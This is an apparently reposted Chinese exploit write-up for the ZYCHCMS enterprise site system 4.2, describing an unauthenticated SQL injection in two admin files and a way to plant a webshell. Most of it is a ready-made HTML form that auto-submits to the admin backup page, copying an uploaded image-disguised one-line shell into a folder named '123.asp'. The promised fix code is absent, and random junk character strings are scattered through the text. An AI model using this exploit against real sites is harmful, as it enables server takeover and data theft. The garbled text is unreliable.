ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

admin

& U" [  _. g; x: @3 m

影响版本：ZYCHCMS企业网站管理系统4.2（存在以下两个文件的版本应该是通杀）
4 r& {1 x7 a: G2 E7 E ①SQL注射漏洞
8 l/ ]4 m/ K  ]* k1 V 漏洞文件：/admin/add_js.asp & /admin/add_xm_jiang.asp
) {* z* c+ T  l6 ]1 W  A, v& e 漏洞原因：未过滤
漏洞代码：
* d$ U0 E3 y( b% Y& G1 Z! ~" e" b 都是相同的，文件开头没有调用过滤文件/admin/seeion.asp，导致没有对当前权限进行判断，就直接操作数据库。
0 R4 l; ]- c' F3 }: o  E7 U 修复方法：在文件开头加入代码
% O: Z8 N8 a8 w' [& ^: V& J+ o

②后台拿WBSHELL
进入后台有一个数据库备份，可以通过本地提交突破创建.asp后缀文件夹，并将一句话备份进去。
1 B6 |# u$ L& ]3 ] 这里在网上找了一个，改了下，将就着用。
9 w* K0 A5 h0 S+ }& x 以下是代码本地提交代码
9 P# B3 }$ A1 l4 }$ D: c

<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>
<!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>
<tr>
<td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>
</tr>
! n# l3 s- u9 P <tr>
<td bgcolor=”#FFFFFF”><span class=”back_southidc”>
</span>
<table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >
<td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
<td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d
<div align=”left”>
<input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />
) A% h$ [  Q. i: _( u <!–eg：../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
<input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />
</div></td>
</tr>
7 i. A+ _& ]4 k0 i <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
0 D! F0 E" [$ @, e6 M  M <td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>
<td class=”td”><div align=”left”>
<input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />
' `' ?4 W% D3 a' _$ r  E- n  V# B [如备份目录有该文件，将覆盖，如沒有，将自动创建]</div></td>
</tr>
3 y8 t2 P0 r6 n8 v <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
, y$ ~, n: q& n3 F! u <td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>
<td class=”td”><div align=”left”>
* G; c: T. |. @# z <input type=”submit” value=”确定备份” class=”btn”
</div></td>
- r( d3 ^* W+ j8 f </tr>
1 y* j, S2 @/ C/ u5 h </table></td></tr></form>
6 y; P7 P( \" U" d( ?2 x </table>
  O5 y* c( L4 c/ [* F: ~+ ] </td>
' ^# L0 m3 M! S+ m4 r% C </tr>
1 P% I2 F" i0 M5 Z/ Z5 K </table>
<script>
document.all.add.submit();
</script>

7 e* D; ?5 G2 E8 A* m; }2 M
( g3 L# a9 W$ V0 k7 _& ?" w% ?1 m



+ m9 q" ?7 t% A' W, P& ^' O

9 f, Y! c1 K  m7 s1 f8 P. [0 }4 c
: f  J  c+ c: Z6 a